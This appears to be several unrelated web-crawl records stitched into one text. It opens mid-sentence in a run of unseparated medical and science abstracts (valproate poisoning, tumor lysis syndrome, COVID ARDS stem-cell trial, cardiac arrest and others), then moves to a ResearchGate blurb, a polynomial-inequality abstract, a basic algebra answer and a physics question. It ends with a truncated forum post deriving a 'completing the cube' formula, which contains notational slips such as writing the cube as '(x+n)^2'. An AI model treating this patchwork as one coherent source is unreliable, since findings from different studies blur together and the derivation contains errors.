[10–32]. Plasma VPA concentration on admission was 231 mg/L [147–415]. The most common manifestations were coma (70%), hyperlactatemia (3.9 mmol/L [2.7–4.9]) and hyperammonemia (127 mmol/L [92–159]). VPA toxicokinetics well fitted a one-compartment linear model with a mean elimination half-life of 22.9 h (coefficient of variation, 28.1%). Plasma VPA (C)/blood lactate concentration (E) relationships were well described by an exponential growth equation [ $$E={E}_{0}\times {e}^{k\cdot C}$$ E = E 0 × e k · C ; with baseline E 0 = 1.3 mmol/L (43.9%) and rate constant of the effect, k = 0.003 L/mg (59.5%)]. Based on a multivariate analysis, peak blood lactate concentration was the only factor independently associated with L-carnitine administration (odds ratio, 1.9, 95% confidence interval, 1.2–2.8; P = 0.004). We found no significant contribution of L-carnitine to enhancing VPA elimination, accelerating blood lactate level normalization and/or preventing organ dysfunction. Conclusions VPA poisoning results in severe toxicity. While L-carnitine does not contribute to enhancing VPA clearance, its impact on accelerating blood lactate level normalization and/or preventing organ dysfunction remains uncertain. Investigating VPA toxicokinetics and concentration/effect relationships may help understanding how to improve VPA-poisoned patient management. Background Tumor lysis syndrome (TLS) is a life-threatening complication during the treatment of malignant neoplasia. We sought to describe characteristics and predictors of acute kidney injury (AKI), remission and mortality in high-risk TLS patients. In this retrospective monocentric study, we included all patients with the diagnosis of biological and/or clinical TLS from 2012 to 2018. The primary outcome was the prevalence of AKI during the acute phase of TLS. Secondary outcomes were overall mortality and remission of the underlying malignancy at 1 year. Results Among 153 patients with TLS, 123 (80.4%) patients experienced AKI and 83 (54.2%) required renal replacement therapy. mSOFA score (OR = 1.15, IC 95% [1.02–1.34]), age (OR = 1.05, IC 95% [1.02–1.08]) and male gender (OR = 6.79, IC 95% [2.59–19.44]) were associated with AKI. Rasburicase use (HR = 2.45, IC 95% [1.17–5.15]) was associated with remission of the underlying malignancy at 1 year. Parameters associated with mortality at 1 year were mechanical ventilation (HR = 1.96, IC 95% [1.02–3.78]), vasopressors (HR = 3.13, IC 95% [1.59–6.15]), age (HR = 1.02, IC 95% [1–1.03]), spontaneous TLS (HR = 1.65, IC 95% [1.01–2.69]) and delay of chemotherapy administration (HR = 1.01, IC 95% [1–1.03]). Conclusions AKI is highly prevalent in TLS patients. Rasburicase is associated with better outcomes regarding remission of the underlying malignancy. As rasburicase may be an indirect marker of a high degree of tumor lysis and chemosensitivity, more studies are warranted to confirm the protective role of urate oxidase. Delaying chemotherapy may be deleterious in terms of long-term outcomes. Background Severe acute respiratory syndrome coronavirus-2 (SARS–CoV-2)-induced acute respiratory distress syndrome (ARDS) causes high mortality. Umbilical cord-derived mesenchymal stromal cells (UC-MSCs) have potentially relevant immune-modulatory properties, whose place in ARDS treatment is not established. This phase 2b trial was undertaken to assess the efficacy of UC-MSCs in patients with SARS–CoV-2-induced ARDS. Methods This multicentre, double-blind, randomized, placebo-controlled trial (STROMA–CoV-2) recruited adults (≥ 18 years) with SARS–CoV-2-induced early (< 96 h) mild-to-severe ARDS in 10 French centres. Patients were randomly assigned to receive three intravenous infusions of 10 ⁶ UC-MSCs/kg or placebo (0.9% NaCl) over 5 days after recruitment. For the modified intention-to-treat population, the primary endpoint was the partial pressure of oxygen to fractional inspired oxygen (PaO 2 /FiO 2 )-ratio change between baseline (day (D) 0) and D7. Results Among the 107 patients screened for eligibility from April 6, 2020, to October 29, 2020, 45 were enrolled, randomized and analyzed. PaO 2 /FiO 2 changes between D0 and D7 did not differ significantly between the UC-MSCs and placebo groups (medians [IQR] 54.3 [− 15.5 to 93.3] vs 25.3 [− 33.3 to 104.6], respectively; ANCOVA estimated treatment effect 7.4, 95% CI − 44.7 to 59.7; P = 0.77). Six (28.6%) of the 21 UC-MSCs recipients and six of 24 (25%) placebo-group patients experienced serious adverse events, none of which were related to UC-MSCs treatment. Conclusions D0-to-D7 PaO 2 /FiO 2 changes for intravenous UC-MSCs-versus placebo-treated adults with SARS–CoV-2-induced ARDS did not differ significantly. Repeated UC-MSCs infusions were not associated with any serious adverse events during treatment or thereafter (until D28). Larger trials enrolling patients earlier during the course of their ARDS are needed to further assess UC-MSCs efficacy in this context. Trial registration : NCT04333368. Registered 01 April 2020, https://clinicaltrials.gov/ct2/history/NCT04333368 . Background The consequences of cardiac arrest (CA) on the gastro-intestinal tract are poorly understood. We measured the incidence of ischemic injury in the upper gastro-intestinal tract after Out-of-hospital CA (OHCA) and determined the risk factors for and consequences of gastrointestinal ischemic injury according to its severity. Methods Prospective, non-controlled, multicenter study in nine ICUs in France and Belgium conducted from November 1, 2014 to November 30, 2018. Included patients underwent an esophago-gastro-duodenoscopy 2 to 4 d after OHCA if still intubated and the presence of ischemic lesions of the upper gastro-intestinal tract was determined by a gastroenterologist. Lesions were a priori defined as severe if there was ulceration or necrosis and moderate if there was mucosal edema or erythema. We compared clinical and cardiac arrest characteristics of three groups of patients (no, moderate, and severe lesions) and identified variables associated with gastrointestinal ischemic injury using multivariate regression analysis. We also compared the outcomes (organ failure during ICU stay and neurological status at hospital discharge) of the three groups of patients. Results Among the 214 patients included in the analysis, 121 (57%, 95% CI 50–63%) had an upper gastrointestinal ischemic lesion, most frequently on the fundus. Ischemic lesions were severe in 55/121 (45%) patients. In multivariate regression, higher adrenaline dose during cardiopulmonary resuscitation (OR 1.25 per mg (1.08–1.46)) was independently associated with increased odds of severe upper gastrointestinal ischemic lesions; previous proton pump inhibitor use (OR 0.40 (0.14–1.00)) and serum bicarbonate on day 1 (OR 0.89 (0.81–0.97)) were associated with lower odds of ischemic lesions. Patients with severe lesions had a higher SOFA score during the ICU stay and worse neurological outcome at hospital discharge. Conclusions More than half of the patients successfully resuscitated from OHCA had upper gastrointestinal tract ischemic injury. Presence of ischemic lesions was independently associated with the amount of adrenaline used during resuscitation. Patients with severe lesions had higher organ failure scores during the ICU stay and a worse prognosis. Clinical Trial Registration NCT02349074 . Background: To assess in comatose patients after cardiac arrest (CA) if amplitudes of two somatosensory evoked potentials (SSEP) responses, namely, N20-baseline (N20-b) and N20-P25, are predictive of neurological outcome. Methods: Monocentric prospective study in a tertiary cardiac center between Nov 2019 and July-2021. All patients comatose at 72 h after CA with at least one SSEP recorded were included. The N20-b and N20-P25 amplitudes were automatically measured in microvolts (µV), along with other recommended prognostic markers (status myoclonus, neuron-specific enolase levels at 2 and 3 days, and EEG pattern). We assessed the predictive value of SSEP for neurologic outcome using the best Cerebral Performance Categories (CPC1 or 2 as good outcome) at 3 months (main endpoint) and 6 months (secondary endpoint). Specificity and sensitivity of different thresholds of SSEP amplitudes, alone or in combination with other prognostic markers, were calculated. Results: Among 82 patients, a poor outcome (CPC 3-5) was observed in 78% of patients at 3 months. The median time to SSEP recording was 3(2-4) days after CA, with a pattern "bilaterally absent" in 19 patients, "unilaterally present" in 4, and "bilaterally present" in 59 patients. The median N20-b amplitudes were different between patients with poor and good outcomes, i.e., 0.93 [0-2.05]µV vs. 1.56 [1.24-2.75]µV, respectively (p < 0.0001), as the median N20-P25 amplitudes (0.57 [0-1.43]µV in poor outcome vs. 2.64 [1.39-3.80]µV in good outcome patients p < 0.0001). An N20-b > 2 µV predicted good outcome with a specificity of 73% and a moderate sensitivity of 39%, although an N20-P25 > 3.2 µV was 93% specific and only 30% sensitive. A low voltage N20-b < 0.88 µV and N20-P25 < 1 µV predicted poor outcome with a high specificity (sp = 94% and 93%, respectively) and a moderate sensitivity (se = 50% and 66%). Association of "bilaterally absent or low voltage SSEP" patterns increased the sensitivity significantly as compared to "bilaterally absent" SSEP alone (se = 58 vs. 30%, p = 0.002) for prediction of poor outcome. Conclusion: In comatose patient after CA, both N20-b and N20-P25 amplitudes could predict both good and poor outcomes with high specificity but low to moderate sensitivity. Our results suggest that caution is needed regarding SSEP amplitudes in clinical routine, and that these indicators should be used in a multimodal approach for prognostication after cardiac arrest. Hematopoietic stem cell transplant (HSCT) recipients are at high-risk for severe COVID-19 and have altered immune responses to vaccination. We sought to evaluate the dynamics of immune response to BNT162b2 mRNA vaccine in HSCT recipients. We systematically proposed vaccination with BNT162b2 to HSCT recipients and gave a third vaccine dose to those showing titers of IgG(S-RBD) below 4160 AU/mL 1 month following the second dose. We then quantified anti-SARS-CoV-2 antibodies dynamics in 133 of these HSCT recipients (88 after two and 45 after three vaccine doses) 6 months after the first vaccine dose. Mean IgG(S-RBD) titer at 6 months was significantly lower than the peak value measured 1 month after a second ( p < 0.001) or third ( p < 0.01) vaccine dose. IgG(S-RBD) titers at 6 months were strongly correlated to peak values ( p < 0.001) and a peak titer above 10,370 AU/mL predicted persistent protection at 6 months. Seventy-two percent (96/133) of patients retained protective antibody levels at 6 months. Immunosuppressive drugs and low lymphocyte counts in peripheral blood correlated with lower IgG(S-RBD) titers at 6 months. Four patients (3%) developed PCR-documented SARS-CoV-2 infection and one died. Background Intensive care unit (ICU) patients often endure discomfort and distress brought about by their medical environment and the subjective experience of their stay. Distress, pain, and loss of control are important predictors of future neuropsychiatric disorders. Depression, anxiety, and post-traumatic stress are common after discharge. We aimed at mitigating acute stress and discomfort via a novel intervention based on body image rehabilitation and rehabilitation of senses performed following a holistic approach guided by positive communication (corporeal rehabilitation care, CRC). Results We conducted a prospective observational study on 297 consecutively enrolled patients participating in at least one CRC session. Benefits of CRC were assessed on both subjective analogical scales of stress, pain, and well-being criteria, and objective clinical measures of dyspnea, respiratory rate, and systolic arterial pressure, just after CRC and long after (a median of 72 min later) to estimate its remote effect. Results showed that CRC had a positive effect on all overt measures of distress (acute stress, pain, discomfort) just after CRC and remotely. This beneficial effect was also observed on dyspnea and respiratory rate. Results also showed that best CRC responders had higher baseline values of stress and heart rate and lower baseline values of well-being score, indicating that the care targeted the population most at risk of developing psychological sequelae. Interestingly, a positive CRC response was associated with a better survival even after adjustment for physiologic severity, indicating a potential to identify patients prompt to better respond to other therapeutics and/or rehabilitation. Conclusion This study demonstrated the feasibility of an innovative holistic patient-centered care approach and its short-term positive effects on critical parameters that are considered risk factors for post-intensive care syndrome. Further studies are warranted to study long-term benefits for patients, and overall benefits for relatives as well as ICU staff. Background Targeted temperature management at 33 °C (TTM33) has been employed in effort to mitigate brain injury in unconscious survivors of out-of-hospital cardiac arrest (OHCA). Current guidelines recommend prevention of fever, not excluding TTM33. The main objective of this study was to investigate if TTM33 is associated with mortality in patients with vasopressor support on admission after OHCA. Methods We performed a post hoc analysis of patients included in the TTM-2 trial, an international, multicenter trial, investigating outcomes in unconscious adult OHCA patients randomized to TTM33 versus normothermia. Patients were grouped according to level of circulatory support on admission: (1) no-vasopressor support, mean arterial blood pressure (MAP) ≥ 70 mmHg; (2) moderate-vasopressor support MAP < 70 mmHg or any dose of dopamine/dobutamine or noradrenaline/adrenaline dose ≤ 0.25 µg/kg/min; and (3) high-vasopressor support, noradrenaline/adrenaline dose > 0.25 µg/kg/min. Hazard ratios with TTM33 were calculated for all-cause 180-day mortality in these groups. Results The TTM-2 trial enrolled 1900 patients. Data on primary outcome were available for 1850 patients, with 662, 896, and 292 patients in the, no-, moderate-, or high-vasopressor support groups, respectively. Hazard ratio for 180-day mortality was 1.04 [98.3% CI 0.78–1.39] in the no-, 1.22 [98.3% CI 0.97–1.53] in the moderate-, and 0.97 [98.3% CI 0.68–1.38] in the high-vasopressor support groups with regard to TTM33. Results were consistent in an imputed, adjusted sensitivity analysis. Conclusions In this exploratory analysis, temperature control at 33 °C after OHCA, compared to normothermia, was not associated with higher incidence of death in patients stratified according to vasopressor support on admission. Trial registration Clinical trials identifier NCT02908308 , registered September 20, 2016. Advances in conducting polymer-based nanocomposites (CPNCs) as sensing materials offer unique prospects to apprehend previously inaccessible sensing properties and applications. In this review article, the synthesis and properties of CPNCs are highlighted as pioneer transducers for designing advanced sensing devices. Synthetic strategies of CPNC are also discussed in the brief and classified into ex-situ and in-situ categories employing (1) chemical; (2) electrochemical; (3) photochemical; and (4) hybrid approach. The composite structure of conducting polymers (CPs), with inorganic and organic compounds, has enhanced surface adsorption, responsiveness, catalytic, and/or electron transport behavior for sensing applications. Thus, CPNCs are explored to sense atmospheric gases, humidity, explosives, water pollutants, and food adulterants. The literature reveals that sensor technology has been effectively improved in terms of sensitivity and selectivity due to progress in CPNCs. However, there are still several technical challenges that need to be solved for CPNCs based sensor technology. Herein, the key issues regarding the use of CPNC based materials in the development of state-of-the-art sensors are discussed. Furthermore, a perspective on the next-generation sensor technology concerning materials has been demonstrated with exclusive examples of conducting polymers based nano composite. COPD is a progressive and debilitating disease often diagnosed after 50 years of age, but more recent evidence suggests that its onset could originate very early on in life. In this context, exposure to air pollution appears to be a potential contributor. Although the potential role of air pollution as an early determinant of COPD is emerging, knowledge gaps still remain, including an accurate qualification of air pollutants (number of pollutants quantified and exact composition) or the “one exposure–one disease” concept, which might limit the current understanding. To fill these gaps, improvements in the field are needed, such as the use of atmosphere simulation chambers able to realistically reproduce the complexity of air pollution, consideration of the exposome, as well as improving exchanges between paediatricians and adult lung specialists to take advantage of reciprocal expertise. This review should lead to a better understanding of the current knowledge on air pollution as an early determinant of COPD, as well as identify the existing knowledge gaps and opportunities to fill them. Hopefully, this will lead to better prevention strategies to scale down the development of COPD in future generations. Immunotherapy has gained great interest in thoracic malignancies in the last decade, first in non-small cell lung cancer (NSCLC), but also more recently in small-cell lung cancer (SCLC) and malignant pleural mesothelioma (MPM). However, while 15–20% of patients will greatly benefit from immune checkpoint blockers (ICBs), a vast majority will rapidly exhibit resistance. Reasons for this are multiple: non-immunogenic tumors, immunosuppressive tumor microenvironment or defects in immune cells trafficking to the tumor sites being some of the most frequent. Current progress in adoptive cell therapies could offer a way to overcome these hurdles and bring effective immune cells to the tumor site. In this review, we discuss advantages, limits and future perspectives of adoptive cell therapy (ACT) in thoracic malignancies from lymphokine-activated killer cells (LAK), cytokine-induced killer cells (CIK), natural killer cells (NK), dendritic cells (DC) vaccines and tumor-infiltrating lymphocytes (TILs) to TCR engineering and CARs. Trials are still in their early phases, and while there may still be many limitations to overcome, a combination of these different approaches with ICBs, chemotherapy and/or radiotherapy could vastly improve the way we treat thoracic cancers. Introduction A significant number of patients with a peripheral neuropathy have IgM monoclonal gammopathy (IgM-MG). In this work, we encompassed the spectrum and outcome of IgM-related neuropathies (IgM-NP) in a large monocentric cohort of patients with IgM-MG. Methods We retrospectively reviewed the neurological and hematological findings and the course of neuropathy in all patients with IgM-MG over a five-year period in our center (Henri Mondor hospital, Assistance Publique Hôpitaux de Paris (APHP), France). Results Among 550 patients with IgM-MG, 83 patients (15%) had IgM-NP (55 males, mean age 67 y.o.). The median serum level of IgM-MG was 3.4 g/L, mostly kappa light chain component. The hematological diagnosis was Monoclonal Gammopathy of Undetermined Significance (MGUS) in 62 patients. Anti-MAG antibodies were detected in 38 patients with heterogeneous clinical and neurophysiological features. Four patients had neurolymphomatosis presenting as a non-length dependent predominantly motor neuropathy, which occurred long after the finding of IgM-MG and was responsive to hematological treatment. Five patients had an AL amyloid neuropathy revealed by a small fiber neuropathy. Finally, 30 patients were classified as “Neuropathy of Uncertain Relationship with the IgM” (NURIM) with characteristics close to those of an anti-MAG-NP at the time of diagnosis, except for the neurophysiological features with a predominant axonal pattern. Conclusion This study emphasizes the wide spectrum of IgM-NP associated with a variety of hematological diagnoses. In particular, the course and prognosis vary considerably. In this setting, further studies are needed to unravel the group of patients classified as NURIM. This study explores the relationship between founder CEOs and corporate social responsibility (CSR). We use 1093 firm-year observations and CSR scores (Environment, Business Behavior, Community Involvement, etc.) from Vigeo-Eiris, the leading European social rating agency. As lone and family founders develop differentiated and statistically significant behaviors toward CSR, our results suggest that founders’ social context is important. More precisely, we provide evidence that lone founders are less likely to invest in external CSR than are other CEOs. In contrast, their behavior toward internal CSR is not statistically different from that of non-founder CEOs. Conversely, family founders are more likely to invest in internal CSR activities. In addition, our results are strongly moderated by CEOs’ age, indicating non-homogenous behavior toward CSR over time and suggesting a tendency to instrumentalize their CSR investments to address personal and family agendas. A sensitive and rapid liquid chromatography-tandem mass spectrometry (LC–MS/MS) method was developed and validated for the simultaneous determination of tryptophan (Trp) and ten metabolites of kynurenine pathway, including kynurenine (Kyn), 3-hydroxy-kynurenine (3-HK), kynurenic acid (KA), xanthurenic acid (XA), 3-Hydroxy-anthranilic acid (3-HANA), quinolinic acid (QA), nicotinic acid mononucleotide (NaMN), picolinic acid (Pic), nicotinamide (NAM) and nicotinic acid (NA) in both plasma and urine. This LC-MS/MS method was used to predict the occurrence of acute kidney injury (AKI) in a cohort of patients with cardiac surgery under cardiopulmonary bypass (CPB). Urinary concentrations of Pic, as well as Pic to Trp and Pic to 3-HANA ratios were highly predictive of an AKI episode the week after CPB, indicating that Pic could be a predictive biomarker of AKI. Thus, monitoring the kynurenine pathway activity with this LC–MS/MS method is a clinically relevant tool to identify new biomarkers of kidney injury. Background Muscle-invasive bladder cancer (MIBC) and upper urinary tract urothelial carcinoma (UTUC) are molecularly heterogeneous. Despite chemotherapies, immunotherapies, or anti-fibroblast growth factor receptor (FGFR) treatments, these tumors are still of a poor outcome. Our objective was to develop a bank of patient-derived xenografts (PDXs) recapitulating the molecular heterogeneity of MIBC and UTUC, to facilitate the preclinical identification of therapies. Methods Fresh tumors were obtained from patients and subcutaneously engrafted into immune-compromised mice. Patient tumors and matched PDXs were compared regarding histopathology, transcriptomic (microarrays), and genomic profiles [targeted Next-Generation Sequencing (NGS)]. Several PDXs were treated with chemotherapy (cisplatin/gemcitabine) or targeted therapies [FGFR and epidermal growth factor (EGFR) inhibitors]. Results A total of 31 PDXs were established from 1 non-MIBC, 25 MIBC, and 5 upper urinary tract tumors, including 28 urothelial (UC) and 3 squamous cell carcinomas (SCCs). Integrated genomic and transcriptomic profiling identified the PDXs of three different consensus molecular subtypes [basal/squamous (Ba/Sq), luminal papillary, and luminal unstable] and included FGFR3 -mutated PDXs. High histological and genomic concordance was found between matched patient tumor/PDX. Discordance in molecular subtypes, such as a Ba/Sq patient tumor giving rise to a luminal papillary PDX, was observed (n=5) at molecular and histological levels. Ten models were treated with cisplatin-based chemotherapy, and we did not observe any association between subtypes and the response. Of the three Ba/Sq models treated with anti-EGFR therapy, two models were sensitive, and one model, of the sarcomatoid variant, was resistant. The treatment of three FGFR3-mutant PDXs with combined FGFR/EGFR inhibitors was more efficient than anti-FGFR3 treatment alone. Conclusions We developed preclinical PDX models that recapitulate the molecular heterogeneity of MIBCs and UTUC, including actionable mutations, which will represent an essential tool in therapy development. The pharmacological characterization of the PDXs suggested that the upper urinary tract and MIBCs, not only UC but also SCC, with similar molecular characteristics could benefit from the same treatments including anti-FGFR for FGFR3-mutated tumors and anti-EGFR for basal ones and showed a benefit for combined FGFR/EGFR inhibition in FGFR3-mutant PDXs, compared to FGFR inhibition alone. Institution pages aggregate content on ResearchGate related to an institution. The members listed on this page have self-identified as being affiliated with this institution. Publications listed on this page were identified by our algorithms as relating to this institution. This page was not created or approved by the institution. If you represent an institution and have questions about these pages or wish to report inaccurate content, you can contact us here. 348 members • l'Institut lorrain du cœur et des vaisseaux Louis Mathieu • Laboratoire d'Informatique Gaspard-Monge UMR 8049 CNRS (LIGM) • ESIEE-Paris • Centre International de Recherche sur l’Environnement et le Développement (CIRED) UMR 8568 CNRS • Laboratoire d'Informatique Gaspard-Monge UMR 8049 CNRS (LIGM) Information
2022-08-15 16:04:34
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.33071789145469666, "perplexity": 14760.990952433687}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572192.79/warc/CC-MAIN-20220815145459-20220815175459-00483.warc.gz"}
http://cms.math.ca/10.4153/CMB-2005-035-2
location:  Publications → journals → CMB Abstract view # Uniform Estimates of Ultraspherical Polynomials of Large Order In this paper we prove the sharp inequality $$|P_n^{(s)}(x)|\leq P_n^{(s)}(1)\bigl(|x|^n +\frac{n-1}{2 s+1}(1-|x|^n)\bigr),$$ where $P_n^{(s)}(x)$ is the classical ultraspherical polynomial of degree $n$ and order $s\ge n\frac{1+\sqrt 5}{4}$. This inequality can be refined in $[0,z_n^s]$ and $[z_n^s,1]$, where $z_n^s$ denotes the largest zero of $P_n^{(s)}(x)$.
2015-04-27 18:35:24
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.96821129322052, "perplexity": 260.83490805425566}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-18/segments/1429246659319.74/warc/CC-MAIN-20150417045739-00128-ip-10-235-10-82.ec2.internal.warc.gz"}
https://socratic.org/questions/how-do-you-solve-5b-3-30
# How do you solve (5b)/3 = 30? ##### 1 Answer May 15, 2017 $5 b = 90$ $b = 18$ #### Explanation: When you enlarge both sides of your equation (3 times) and solve the question: $5 b = 30 \cdot 3$ $5 b = 90$ $b = \frac{90}{5}$ $b = 18$ This is your solution. $b = 18$
2020-01-22 05:56:03
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 7, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9260643720626831, "perplexity": 4781.261989140326}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-05/segments/1579250606696.26/warc/CC-MAIN-20200122042145-20200122071145-00089.warc.gz"}
http://clay6.com/qa/33455/on-heating-a-liquid-of-efficient-of-cubical-expansion-r-in-a-container-havi
On heating a liquid of efficient of cubical expansion ' r ' in a container having coefficient of cubical expansion $\;\large\frac{r}{3}\;$ , the level of liquid in the container will $(a)\;rise\qquad(b)\;fall\qquad(c)\;remain\;the\;same\qquad(d)\;difficult\;to\;say$
2021-04-13 19:23:17
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5644032955169678, "perplexity": 1470.0004037119531}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-17/segments/1618038074941.13/warc/CC-MAIN-20210413183055-20210413213055-00249.warc.gz"}
https://www.physicsforums.com/threads/a-generalized-quadratic-formula.756080/
1. Jun 1, 2014 ### Bluskyz Just over two years ago, I was introduced to the process of completing the square as a way to solve the roots in a quadratic equation. More recently, I've thought about how I could go about extending this to completing the cube. The following short story/proof is the result of during just that and then going even further. As always, criticism and comment is welcome. I've tried looking around to see if anybody has published anything similar to this but haven't been able to find anything. I'll begin by reviewing the method of completing the square with the general quadratic $\text{ax}^2+\text{bx}+c$ and thus deriving the quadratic formula. We then set the equation equal to zero (because we are finding its zeros) and divide everything by the first term's coefficient a: $x^2+\frac{\text{bx}}{a}=-\frac{c}{a}$ At this point, we see that we must look at the expanded form of the general squared binomial $\text{(x+n)}^2$ where $\text{n}$ is some constant which gives $x^2+2 \text{nx}+n^2$ In order to complete the square, we need to get $x^2+\frac{\text{bx}}{a}$ to look like that expanded form. As the first term, $x^2$, in both equations is exactly the same, nothing must be done to them. However, in the $x^2+\frac{\text{bx}}{a}$, we are missing the constant term $n^2$ and as such, we must find this value of $n$. By comparing the second terms of both equations, $\frac{\text{bx}}{a}$ and $2 \text{nx}$, we can set these equal to each other and solve for $\text{n}$: $\frac{\text{bx}}{a}=2 \text{nx}$. Through algebraic manipulation, $\text{n}$ can be found to equal $\frac{\text{b}}{\text{2a}}$. Now going back to the original $x^2+\frac{\text{bx}}{a}=-\frac{c}{a}$, we can add the square of $\frac{\text{b}}{\text{2a}}$ to both sides yielding $x^2+\frac{\text{bx}}{a}+\frac{b^2}{4 a^2}=-\frac{c}{a}+\frac{b^2}{4 a^2}$. Next, we collapse the left side of the equation into $\left(x+\frac{b}{2 a}\right)^2$ and add the two terms on the right side of the equation yielding $\frac{b^2-4 \text{ac}}{4 a^2}$. By taking the square root of both sides, we get $x+\frac{b}{2 a}=\pm \sqrt{\frac{b^2-4 \text{ac}}{4 a^2}}$. The $4a^2$ in the fraction can be taken out of the square root to give $x+\frac{b}{2 a}=\pm \frac{\sqrt{b^2-4 \text{ac}}}{2 a}$. Finally, we can subtract $\frac{\text{b}}{\text{2a}}$ giving us the ever famous quadratic equation $x=\frac{-b\pm \sqrt{b^2-4 \text{ac}}}{2 a}$ Next, I moved onto a cubic equation in an attempt to "complete the cube" and find a cubic equivalent quadratic equation. I started with the general form of a cubic: $\text{ax}^3+\text{bx}^2+\text{cx}+d$ As with completing the square, I continued to move the constant, $d$, to the other side of the equation yielding $\text{ax}^3+\text{bx}^2+\text{cx}=-d$ I then divided everything by the coefficient of the $x^3$ term, $a$, and got $x^3+\frac{\text{bx}^2}{a}+\frac{\text{cx}}{a}=-\frac{d}{a}$. Now, this time I looked at the expanded form of $\text{(x+n)}^2$ which works out to be $x^3+3 x^2 n+3 \text{xn}^2+n^3$ As with the quadratic, we can look at the second and third terms of both equations to find the value of $n$ for the cubic equation. Setting both equal to each other, we get: $\frac{\text{bx}^2}{a}=3 x^2 n$ and $\frac{\text{cx}}{a}=3 \text{xn}^2$ Solving for $n$ in both equations, we find that $n=\frac{b}{3 a}$ and $n=\sqrt{\frac{c}{3 a}}$ With this, we have two different answers for $n$ and this is where the problems for completing the cube start to arise. If we were to pick just one of two values for $n$ and add it's cube to both sides (just as we added $n^2$ to both sides of the quadratic) and attempt to solve for $x$, we would find that the $x$ can't be isolated to just one side and thus a simple solution to the completing the cube can not be found. I will quickly attempt using $n=\frac{b}{3 a}$ to demonstrate the problem. After some algebraic manipulation, I found that the equation simplifies to $\left(x+\frac{b}{3 a}\right)^3=\frac{x \left(b^2 x-3 \text{ac}\right)}{3a^2}+\frac{b^3}{27 a^3}-\frac{d}{a}$. Because we have $x$'s on both sides, a nice solution can not be found. This is due to the fact that picking and using just one of the values for $n$ keeps the other term that needs the other value for $n$ unsatisfied. In the last example, I had to add $\frac{x \left(b^2 x-3 \text{ac}\right)}{3a^2}$ to both sides in order to complete the $x$ term and get the left to collapse into $\left(x+\frac{b}{3 a}\right)^3$. In order to eliminate this conflict, we need to find some value of $n$ that satisfies both the $x^2$ term and the $x$ term. To achieve this, the value of $n$ must equal both $\frac{b}{3 a}$ and $\sqrt{\frac{c}{3 a}}$ at the same time. Because $n$ must be equal to both of those expressions, the two expressions must be equal to each other: $\frac{b}{3 a}=\sqrt{\frac{c}{3 a}}$ I decided to solve for the variable $c$ and found that $c=\frac{b^2}{3 a}$. This ratio that we just found tells us the ratio the variables $a$, $b$ and $c$ must have between one another in order to allow for this method of completing the cube to satisfy both terms and work correctly. If I plug this ratio into $\text{ax}^3+\text{bx}^2+\text{cx}+d$ for $c$ and try to complete the cube now, the solution works perfectly. After solving for x, I found that the cubic version of the quadratic equation is $x=\frac{-b+ \sqrt[3]{b^3-27 a^2 d}}{3 a}$. And thus, this equation is guaranteed to give you one real root of a cubic equation so long as the coefficients of the equation satisfy to ratio $c=\frac{b^2}{3 a}$. And with this, I still wasn't content. I decided to attempt to find the ultimate "quadratic equation" that works for all polynomials to the $f$th 